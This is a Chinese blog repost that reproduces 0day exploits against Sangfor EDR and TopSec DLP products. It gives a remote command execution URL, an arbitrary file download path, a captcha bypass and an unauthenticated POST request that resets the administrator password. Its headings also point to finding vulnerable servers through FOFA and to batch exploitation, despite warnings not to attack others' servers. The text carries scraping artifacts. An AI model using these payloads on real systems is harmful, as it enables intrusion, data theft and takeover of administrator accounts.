当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
友情提示：不是自己公司的服务器不要去试，你任何的动作，别人都知晓，人外有人，天外有天，且行且珍惜... ...
0x06 天融信DLP 最新版本V3.1130.308ps3_DLP.1 未授权访问导致越权修改管理员密码
本来忙的都没时间看文章，没时间干其它的事，但还是想写一波复现文章，主要还是深信服的终端复现，谁让... ..
还迷迷糊糊的就听到爆了好多0day，感觉不简单，别问我，我也不清楚，也不敢多说什么，牵制到太多.. .. ，参考了公众号和一些师傅们的思路和复现文章，自己再复现一下看看，请勿用作犯罪使用，网络不是法外之地，请珍惜生命，勿触犯法律... ...
本次爆0day 列表：
1. 天擎EDR
2. 深信服VPN
3. 深信服EDR
4. 天融信DLP
其中最惨的当属深信服(每年都躺枪，都哭了)
0x01 深信服EDR 长啥样？
0x02 深信服EDR RCE
0x03 漏洞简单简单利用方法
任意执行命令
Linux 读取文件内容命令
-
more和less一般用于显示文件内容超过一屏的内容，并且提供翻页的功能。
-
more比cat强大，提供分页显示的功能，less比more更强大，提供翻页，跳转，查找等命令。
-
而且more和less都支持：用空格显示下一页，按键b显示上一页。下面详细介绍这3个命令。
-
1
）cat
后面跟要查看的文件，文件内容全部输出到屏幕，
-
-
2
）more
文件内容或输出查看工具；
-
-
more
是我们最常用的工具之一，最常用的就是显示输出的内容，然后根据窗口的大小进行分页显示，然后还能提示文件的百分比；
-
-
3
）less
查看文件内容
https://xxx.xxx.xxx:9443/tool/log/c.php?strip_slashes=system&host=more%20/XXXXX/l.php
任意文件下载漏洞复现
下载一个存在的文件，你懂我的意思吧？可以下载任意文件，不限制目录哦
https://xxx.xxx.xxx:9443/tool/log/a
验证码绕过
-
// 校验验证码
-
if (!ldb_run_at_console()) {
-
if (isset($_REQUEST[
"captcha"])
-
|| $_REQUEST[
"captcha"] != base64_decode(
"M...
-
echo "<font color=
'red'><b>验证码不对，请输入...
"
-
return;
-
}
-
}
先输入几次错误密码，把验证码弄出来后，开启Burp（抓包工具）爆破密码即可，只要验证码第一次输入对后不为空，即可绕过
友情提示：不是自己公司的服务器不要去试，你任何的动作，别人都知晓，人外有人，天外有天，且行且珍惜... ...
0x04 FoFa 搜索相关漏洞服务器
0x05 批量利用方法
分析漏洞原文章
0x06 天融信DLP 最新版本V3.1130.308ps3_DLP.1 未授权访问导致越权修改管理员密码
网上就只有一张截图，推测是调用了mod_pwd 修改密码模块时，没有进行校验原密码+该api接口未授权访问，组合利用，导致管理员密码可被越权修改
-
POST /?module=auth_user&action=mod_edit_pwd HTTP/1.1
-
Host:xxxx
-
剩下的一些参数省略.... ...
-
-
uid=1&pd=Tftp@dlp108&mod_pwd=1&dlp_perm=1
参考文章：
https://www.cnblogs.com/potatsoSec/p/13520546.html
https://mp.weixin.qq.com/s/4VtJ_M0c5GZsV4CmBr9CsQ
https://www.cnblogs.com/potatsoSec/p/13520546.html
虽然我们生活在阴沟里，但依然有人仰望星空！
转载：https://blog.csdn.net/God_XiangYu/article/details/108068029